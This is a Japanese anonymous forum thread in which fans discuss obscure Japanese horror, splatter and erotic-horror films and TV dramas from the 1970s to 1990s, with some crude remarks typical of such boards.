ど〜だぁ〜 こわいでしょう〜〜〜〜〜!!キャ〜〜〜〜!! テレビドラマのホラーといえば昔の土曜ワイド劇場では
エログロ色の強い怪奇ドラマを頻繁に放送していた
「白い手 美しい手 呪いの手」を筆頭に
「復顔・整形美女の復讐」「瞳の中の悪魔」
「先妻の亡霊と闘う新妻」「呪いのマネキン人形」
それから「死美人シリーズ」「京都妖怪地図」などなど
昭和の土ワイがたまに放送してた怪奇ドラマも
DVD出してほしいんだけど難しいのかな?
劇場映画ではないけど映画系のスタッフ・キャストが多いし
ビデオがあまり出ていないせいで今となってはマイナーに
なってしまった和製ホラーには間違いないから書き込んでみる 「Nighty Night 〜真夜中の悪夢〜」の話題はここではまだ出てないのか
学生の自主製作映画とはいえ80年代にちょっとした話題になって
ビデオも発売されたから、知ってる人もけっこういると思ったんだけど
オムニバス物のホラーで、個々の話は特に独創的とは言えないけど
ビデオゲームからクリーチャーが出てきてしまう話はかなり怖かった
クリーチャーの造形がかなりグロテスクかつ個性的だったし
学生の自主製作といってもあの怪物の完成度はプロ並みだと思った
この映画で特殊メイクを担当した浦野克人という人は
プロに進出して色々CMとかVシネマの特殊効果を担当してたようだけど
メジャーな映画とかドラマとかには関われなかったのか
あんまり話題性のある作品名に関わった様子はなさそう
「Nighty Night」ではあんなに凄いクリーチャー作ってたのにな
浦野克人の名前をネットで検索しても、数年前に酔って
小競り合いになった相手に暴力を振るってしまい
警察沙汰になったという、セコイ話題しか出てこない・・・ どひゃー!
さっき「Nighty Night 〜真夜中の悪夢〜」のビデオジャケットを
確認してみたら、特殊メイクを担当したのは浦野克人だけど
モンスターを作ったのは浦野とは別に担当者がいて
木谷太士郎という人物があの素晴らしいクリーチャーを作ったようだ
調べてみたら木谷太士郎はその後ハリウッドでも仕事をしている
と言ってもトム・サヴィーニやリック・ベイカーみたいな
華々しい活躍をしているわけではなく、特殊効果スタッフの
下っ端と言っては言い過ぎだけど裏方のさらに裏方に近い
かなり小さい役割が主のようだ
まあ、ハリウッドに行った日本人の特殊効果スタッフは
スクリーミング・マッド・ジョージを別とすれば大半が
そんな感じの扱いなんだけどさ 80年代の和製スプラッター・ホラーでは
「魔夏少女」という作品もあった
劇場用映画ではなくテレビドラマとして
TBSの夜9時代に放送されてビデオ化もされた
怒りの感情で他人に流血させる超能力をもった少女が
感情をコントロールできずに周囲の人々を殺してしまうという
「キャリー」「オーメン」「スキャナーズ」「フューリー」
といった海外のオカルト映画の要素にスプラッターな見せ場を盛り込み
さらに心理サスペンス的な味付けもするといった野心作だった
悪魔的な超能力をもった娘への疑惑と愛情の狭間で苦悩する母親の
心理の揺れ動きをサスペンスフルに描くのは「悪い種子」からの
翻案とはいえ、日本にあまりなかったタイプの恐怖ドラマを作ろうという
当時のテレビマンたちの野心を感じさせて今見ても古びていない
クライマックスのスプラッターな見せ場では「スキャナーズ」から
ヒントを得たらしい頭部の破裂シーンがなかなかの迫力だった
放送当時は生まれていなかったため、後にビデオでこのドラマを
見た人間としては、80年代の何でもありなテレビの大胆さに感心してしまう >>55
>>57
「獣神伝説 CON TON」って、俺は意外な掘り出し物だと思ったんだけどな
確かに特撮は安っぽいし、話は訳わかんない所が多いし、役者の大半が大根だけど
80年代ホラーブームの熱気が伝わってくるような特殊メイクのグロシーンとか
悪夢と現実が交錯するシュールなストーリーは個人的には好みだった
マニア向けの低予算C級ホラーには違いないから誰にでも薦めることはできないけど >>125
もう質問した人が見てるとも思えないけどレスする
「生地獄」は精神的にキリキリ締めつけられるような
陰湿な怖さがあって個人的にはなかなかの拾い物だと思った
「何がジェーンに起こったか?」と「悪魔のいけにえ」を掛け合わせて
日本的な陰惨さで味つけした感じの作風と後味の悪さは
好き嫌いが別れるだろうけど、個人的にはかなり怖くて面白かった
あと、事件の鍵を握る精神科医に三谷昇というキャスティングが効いている 「door」ってやつが印象に残ってるな
追い払われたことに逆上して殺しに来るセールスマン
扉の向こう側とこっちで話は進んでいく
全シーンを通して登場場面は玄関口のみ
あの閉鎖的な空間での描写は子供の頃一人で留守番してた頃の
心細さを思いだしてしまう >>245
「DOOR」は確か「死霊の罠」と同時上演されたサイコ・スリラーでしたね
俺はビデオで見たけど、クライマックスでストーカー男が強引に
ヒロインにフェラさせようとするシーンで
「おおっ!」と期待してパンツ下ろす準備したんだが
結局フェラには至らなくて肩透かしでガッカリさせられた… ピンク&ロマンポルノ系でも和製ホラーの傑作は多い
「暴行切り裂きジャック」
「堕靡泥の星・美少女狩り」
「真昼の切り裂き魔」
「連続暴姦」
「オーガズム・真理子」
「処女のはらわた」
「美女のはらわた」
などなど…他にも俺が知らないだけでまだまだありそう 個人的な好みでは特ににっかつロマンポルノの
「暴行切り裂きジャック」と「堕靡泥の星・美少女狩り」が
すごく怖くてサイコ・スリラーの傑作だと思った
まるで当時のイタリアン・ホラーのような耽美的な映像・音楽、
めくるめく官能・狂気・残虐美の世界が展開していて
普通にホラーとして一級品だと思う 薔薇族映画と呼ばれるゲイ・ピンク映画にも
サイコ・スリラー仕立てでちょっとした話題になった作品があった
「狂った舞踏会」と「狩人たちの触覚」は、後に
「女虐(めぎゃく)」や「人体模型の夜」といった
陰惨なスプラッター映画を撮る佐藤寿保監督による
サイコ・スリラー風薔薇族映画で、いずれも強烈なインパクトがあった
佐藤寿保監督の薔薇族スリラーは露骨なスプラッター描写はないとは言え
じめじめと暗くねちっこく陰惨な作風と、見終えた後に絶望に突き落とされる
陰欝な後味の悪さは、この2本の薔薇族映画でも確かに味わうことができる
とはいえ正直言って佐藤寿保によるサイコ・ホラーの陰惨な作風は個人的には苦手 ピンク映画ではなくアダルトビデオのスプラッター物で
アタッカーズってAVメーカーがVHS時代に出してた
「乱歩」っていうレーベルのストーリー物の猟奇AV見た人いないかな?
このレーベルの「球体愛玩美少女」と「赤色哀歌美少女」ってビデオが
雑誌に紹介されてたのを立ち読みしてちょっとグロかったので印象に残ってる
SEX中に目玉をえぐり出したり首を切断したりというスプラッター描写があるようだけど
実際に見たらきっとスプラッターは添え物程度でつまんないんだろうな
ところで「赤色哀歌美少女」のパッケージに書かれたキャッチコピーの
「純白のブリーフが唾液と口紅の色に染まっていく」ってのはなんか違和感あるなw 早川光監督の「モモコ・ワンダーランド/ストレンジ・ハウス」ってどんな作品だろう?
「代官山ワンダーランドHORROR/悪魔の棲む街」という酷い駄作と同時期のVシネマだから
これもどうせロクなもんじゃないだろうと思ってビデオを見かけても無視していた
「アギ・鬼神の怒り」や「うばわれた心臓」の早川光が監督だったのなら
暇つぶし程度には楽しめるB級ホラーだったのかな?
ネット上で書かれている“「獣神伝説」「GUZOO/神に見捨てられしもの」にタメはる完成度”
という評価は良い意味なのか悪い意味なのか?(あんまり良い意味ではなさそうだけど・・・)
まあ、「モモコクラブ」なるアイドルが主演だからあんまりグロい作品ではないんだろうな 「ギニーピッグ」が話題に挙がらないのはメジャーすぎるからかな?
例の事件によって違う意味で伝説的な存在になってしまったのが残念だ
個人的には「血肉の華」と「マンホールの中の人魚」は
日野日出志の残酷美学が毒々しい色彩と過激な特殊メイクによって
これ以上は望めないくらい絶妙に映像化された傑作だと思っている
80年代ビデオバブルらしい猥雑な雰囲気が不思議な世界観を醸し出していて
見ていると目をそむけたいのに目が離せない魔力のようなパワーを感じる 「ギニーピッグ」「死霊の罠」
「GUZOO」「バイオセラピー」「キクロプス」
80年代の和製スプラッター映画は
アングラな感じのいかがわしい匂いがして
イタリアやアメリカのスプラッターとは
かなり違った陰湿な質感がある 90年代の和製スプラッターとなると
「オールナイトロング」「女虐」「オルガン」
などさらに陰湿さが増している
その後の和製スプラッターは下品で汚い安物ばかりになった
結局、日本ではスプラッターに関しては
80年代〜90年代前半でやれることは全て
やり尽くしてしまい、もう傑作は出てこないんだと思う
イタリア映画界もたぶん似たような状況なんだろうな 前にも話題が出てるけど土曜ワイド劇場の
「白い手 美しい手 呪いの手」って見たことある人いないかな?
すごい見たいんだけど果たしてフィルムが保存されてるんだろうか…? たしか2000年頃にレンタルで見た
ビデオ撮り下ろしのホラー「世紀末恐怖劇場」シリーズの
「金曜日のレストラン」「とても優しい隣人たち」
はっきり言ってどちらも凡作なんだけど暇つぶし程度には楽しめた
アイディアはけっこう面白いと思うけど脚本と演出に緊張感がない
「金曜日のレストラン」では特別出演の稲川淳二が
意外にもかなりいい演技してて驚いた覚えがある 「少女惨殺 −スワンズソング−」
十年ほど前にレンタルで借りて一度きり見ただけで
もう記憶も曖昧なんだけど妙に忘れられない作品
カルト的な70年代スリラー「アリス・スウィート・アリス」を
焼き直したような内容のサイコ・スリラー風スプラッター
黄色いレインコート姿の殺人鬼と犯人の正体は「アリス…」そのまんま
スプラッター描写はそれほど凄いという程ではなくまあまあそれなり
全体的に安っぽい作品だし脚本・演出も途中ダラけるところがあるけど
全編を覆う陰鬱な雰囲気がまとわりつくような不快感を煽り立てて
決して面白いとは言えないんだけど妙なインパクトがある映画だった 『ギニーピッグ2 血肉の華』のいかがわしい雰囲気が好き
残酷だけどなぜか幻想的なムードも漂ってて決してグロいだけじゃない
ただひたすら残酷描写を並べただけでよくあそこまで
デカダンな美学がある作品に仕上げたと思う >>255
>「白い手 美しい手 呪いの手」
あれはまだ円谷プロにフィルムはあるんじゃないの?
>>254
>日本ではスプラッターに関しては 80年代〜90年代前半でやれることは全て
>やり尽くしてしまい
もちろん作品によっても違うだろうけどアメリカでは30〜40年前から
ホラー・スプラッターは基本的にパーティノリで映画館やビデオでみんなでワイワイ
観る文化だもの。
だからスクリームシリーズみたいなパロディ・メタフィクション風の作品も出てくる。
日本ではマニアックな怖いイメージだけが先行してその範囲内の市場に
留まっちゃったよね。
濫作はされたけど市場の広がりは余り無かった。 >>259
日本では80年代のホラー・ブームがもっぱら劇場ではなく
ビデオで消費された印象がありますね
80年代和製スプラッターは劇場用作品も「処女のはらわた」「美女のはらわた」と
傑作「死霊の罠」があったとは言え、ほとんどがビデオ撮り下ろしだったし
洋物でもクローネンバーグとかルチオ・フルチとか劇場よりもビデオで話題になった
だから日本ではどうしても「みんなで盛り上がりながら見るホラー」よりも
「マニアが自宅でひっそり見るホラー」という形で発展してしまって
和製ホラーがどんどんアングラになってしまった感じなのかな お国柄と云うか気質もあると思う
80年代のホラーブームは家庭用ビデオデッキとレンタルビデオ店の普及
加えてバブルによる予算的な余裕によるものだけど
当時の日本では「誰かの家に集まってパーティノリでホラーを」って云う発想自体が余りなかった
遊ぶなら街で、集まるならディスコやバーでって感じだったし
皆で家で映画を見る時にあえてホラーを選ぶ理由が希薄だった(有名作はその限りでもないけど)
まあその一方で中高生がジャンクやデスファイルをレンタルして
何人かで誰かの家に集まってキャッキャしたりもしてたんだけどw
「映画館に行かなくても映画が見られる」「自分のペースで落ち着いて映画を見たい」
ってのがレンタル店の主な需要で、それに合致したのが
マニアックなホラーの方だったんじゃないかなぁ 映画じゃないけど、1980年代の2時間ドラマでは
劇場用映画と比較してもまったく遜色がない
質の高いホラー・ドラマが多く制作されていたと聞く。
1982年にTBSで放送した岡田奈々主演の吸血鬼ドラマ
『夜の誘惑者』は、岸田森の「血を吸うシリーズ」に匹敵する
かなり怖くて完成度の高い和製ドラキュラ物だったという評判を
あちこちで聞くんだけどなかなか見られない…
1981年よみうりテレビ製作の『怨霊女子学園・恐怖の連続殺人!』も
評判によるとかなり怖くて面白いドラマらしいけど
ビデオも何もないから見たいのに見られない… 「赤い報告書 鮮血の天使 悪魔祓い殺人事件」
にっかつビデオから1988年に発売されたスプラッター・ポルノ
サトウトシキ監督で、脚本と特殊メイクは中野貴雄が担当
実際にあったバラバラ殺人事件をポルノ仕立てで映画化したというエログロ作品
「ギニーピッグ2 血肉の華」みたいな惨殺シーンだけが売りの安っぽい映画なんだが
情け容赦のない人体解体の描写はかなりの生々しさで、見ていると胸がムカムカしてくる
「ギニーピッグ」「女虐」「オールナイトロング」なんかと並べて語るべき陰惨な怪作だった 超マイナーな邦画ホラーと言えば青山定司という監督の
「家獣」(1979年)っていう映画が気になって仕方がない
今ではフィルムがすべて廃棄されたために見ることができないけど
ストーリーと批評を読むとかなり猟奇的でなかなか面白そうだ かなり古い邦画で「囁く死美人」って映画
なぜか黒沢清が絶賛していたのとタイトルのインパクトで
ずっと見たいと思ってたけど数年前に見ることができた
タイトルから想像してたような陰惨な猟奇エログロではなく
死んだ女の幽霊と思わせて双子の姉だったというサスペンスオチ
殺した女の影におびえる男のサイコ・スリラーとして見ることもできて
それなりに楽しめる作品ではあるけど、流石に今となっては古臭い映画だった
黒沢清がこんな平凡なB級スリラーをわざわざ褒めるのはちょっと不可解 ちなみに「死美人」といえば70〜80年代の土曜ワイド劇場で
「死美人シリーズ」という怪奇ドラマを頻繁に放送していたと聞いた
「生きていた死美人 病院偽装殺人」とか「湖水の死美人 劇画殺人事件」など
殺された女の亡霊が復讐に来る話をエログロ描写満載で描いていたと評判だから見てみたい
たぶん実際に見てみたら予想よりも古臭いB級ホラーなのかも知れないけど
昔の土曜ワイド劇場って下手な劇場用映画よりもずっと面白い作品が多いから
「死美人シリーズ」にもけっこう期待してる
CSでの一挙再放送でもDVD-BOXでもいいから土曜ワイド劇場の
「死美人シリーズ」をリバイバルしてほしい 土曜ワイド劇場といえば「女教師コンクリート殺人事件」が印象に
残ってるな。
話自体は単純で
「美人教師(市毛良江)にフラれた体育教師(倉石功)がキレ、
市毛を殺してコンクリに埋めたのがバレて一件落着」
って話だけど、昔の東宝の怪奇物っぽい雰囲気や
事件を追う戸浦六宏と三田村邦彦の親子刑事は本当に見応えあった。 映画監督が演出した土曜ワイド劇場の怪奇ものといえば
「横溝正史の鬼火 仮面の男と湖底の女」
にっかつロマンポルノ出身の田中登監督による演出で
土曜ワイド劇場で横溝正史の怪奇小説「鬼火」をドラマ化した作品だけど
幻想的で耽美的な雰囲気と猟奇色がうまく出ていてやたら完成度高かった
同時期に劇場公開された横溝正史原作の「蔵の中」よりも遥かに怖かったと思う
DVD出せば横溝正史と田中登のネームバリューで売れるはずなのになかなか出ない… 「白い手 美しい手 呪いの手」が4月27日と4月30日にシネマヴェーラ渋谷で上映
大林宣彦監督の名作恐怖ドラマ「可愛い悪魔」も5月4日と5月7日に上映される
どちらも岸田森特集ということで上映、「呪いの館 血を吸う眼」「血を吸う薔薇」もやる >>265
作品そのものを絶賛してはいない。
「厳密に言うとこれはホラーではない」と断りつつ、川崎敬三を誉めていただけだ。 去年の7月頃に「歌姫 魔界をゆく」の上映会とdvd配布?が行われてたと今知った
残念だ…VHSを見ることは無いのか… >>251
暇なので亀レス
>「モモコ・ワンダーランド/ストレンジ・ハウス」
以前、中古のVHSを購入して観たことあるよ。
実はもうよく覚えていなかったりするが、
なんか大林宣彦の「ハウス」を激安廉価版にしたみたいな
内容だった気がする。
早川光のカラーは一切感じられず、
可愛い女の娘たちが、ただキャーキャー騒いでいただけの印象。
収録時間は45分だけど、本編は30分のみ。
あとの15分は「モモコクラブ」のプロモーションビデオだった。
むしろそっちのほうがメインだったんでしょうなぁ。
ちなみにVHSはヤフオクに出品してみたけど、
50円でも売れませんでした。
結果、廃棄処分。
今だったらマニアの方に高く売れたかもしれないなぁ。 >>202
実話ってwww
作者がフィクションだって後になって暴露したのに2000年すぎてまにうけてるアホがいるのかw
中国の黒い太陽とかは、その手の嘘資料すら読まずに
適当につくった糞映画だったけど、動物を本当にころしてるのは
ホラーだな(中国人の感覚だとあとで美味しくいただくでおわるのかもしれんが) >>276
さすがに馬鹿すぎだ。
あの事件についての文献が何冊出てると思ってるんだ。
小林信彦のコメディ小説「オヨヨ大統領の悪夢」でもネタにされてる。
彼の叔父さんが事件の‘犯人’のひとりだったらしい。
小林自身が主人公として登場し、編集者に「あの事件を小説にしてみては?」と勧められるという内容だけど、
「叔父さんから『俺の手は汚れてしまった、・・・』と告白されるというエピソードはどうでしょう」
「それじゃ、殺人鬼みたいだ」
というようなクダリがある。 「蔵六の奇病」はB、C級かもしれないが、何となく残る。
特に音楽(音)が印象的。 ■ このスレッドは過去ログ倉庫に格納されています